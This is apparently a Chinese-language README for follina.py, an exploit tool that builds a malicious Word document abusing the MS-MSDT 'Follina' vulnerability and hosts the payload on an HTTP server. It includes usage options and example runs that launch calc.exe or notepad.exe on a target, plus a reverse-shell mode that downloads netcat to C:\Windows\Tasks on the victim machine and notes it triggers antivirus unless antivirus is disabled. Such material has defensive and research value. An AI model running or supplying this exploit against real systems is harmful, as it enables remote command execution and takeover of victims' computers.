
生成一个恶意 Microsoft Word 文档,利用 MS-MSDT “Follina” 漏洞执行任意命令或通过 HTTP 服务器暂存载荷。
John Hammond | 2022年5月30日
使用恶意 Microsoft Word 文档创建 "Follina" MS-MSDT 攻击,并通过 HTTP 服务器托管载荷。

usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: calc)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
弹出 calc.exe:
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
弹出 notepad.exe:
$ python3 follina.py -c "notepad"
在端口 9001 上获取反向 shell。注意,这会将 netcat 二进制文件下载到受害者机器上,并将其放置在 C:\Windows\Tasks 中。它不会清理该二进制文件。除非禁用防病毒软件,否则这将触发防病毒检测。
$ python3 follina.py -r 9001
